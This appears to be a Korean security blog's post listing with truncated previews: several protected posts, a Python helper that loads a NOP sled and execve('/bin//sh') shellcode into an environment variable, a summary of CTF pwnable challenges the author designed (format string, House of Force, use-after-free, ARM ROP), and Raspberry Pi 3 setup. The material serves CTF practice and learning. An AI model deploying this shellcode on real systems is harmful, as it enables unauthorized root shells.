보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
123456789101112131415161718192021import sysimport osfrom ctypes import cdll shellcode="\x90"*100000shellcode+="\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" if len(sys.argv) is 2: environ_name = sys.argv[1]else: environ_name = 'EGG' libc = cdll.LoadLibrary("libc.so.6") os.environ[environ_name]..
보호되어 있는 글입니다.
Pwnable 분야로 예선 50, 100, 200, 300과 본선 문제를 제출하게 되었다. 처음 생각한 아이디어를 그대로 문제로 만들다가 난이도 배점을 낮추려고 하다보니 문제 퀄리티가 떨어져 아쉬웠으나 학생들이 짱짱하게도 잘 풀어주어서 다행이었다. 예선 문제 개요Pwnable 50pt - Integer Overflow + Array Index Overflow + Stack OverflowPwnable 100pt - Format String BugPwnable 200pt - Heap Overflow using malloc maleficarum(House of Force)Pwnable 300pt - Use After Free본선 문제 개요Pwnable 본선 - ARM Stack Overflow(ROP)예선 ..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
라즈베리파이3 세팅평소 사용하던 컴퓨터 본체랑 다르게 소형 컴퓨터라 약간 익숙하지 않은 점이 있긴 한데, 조금 다루다보면 별로 어렵지 않고 자료도 많아 해볼만 하다.라즈베리파이 3을 뜯은 후 별도로 들어있는 구리판 봉투를 뜯은 후, 메모리에 구리판을 부착시킨다. (아래의 사진처럼 붙이면 된다.)아래의 사진과 같이 선을 연결한다. - 휴대폰 충전기 : 라즈베리파이의 파워선이다. 별도로 전원 버튼같은게 없기 때문에 꽂으면 바로 부팅된다. - HDMI : 디스플레이 같은게 있으면 디스플레이에 꽂으면 되고, 없을 경우 HDMI 모니터에 꽂으면 된다. - 랜선 : 유선이 사용하고 싶은 경우, 꽂아 사용하면 된다. - 키보드, 마우스 : USB 포트를 사용하는 키보드, 마우스를 꽂는다. 파워를 꽂는 순간 바로 전원..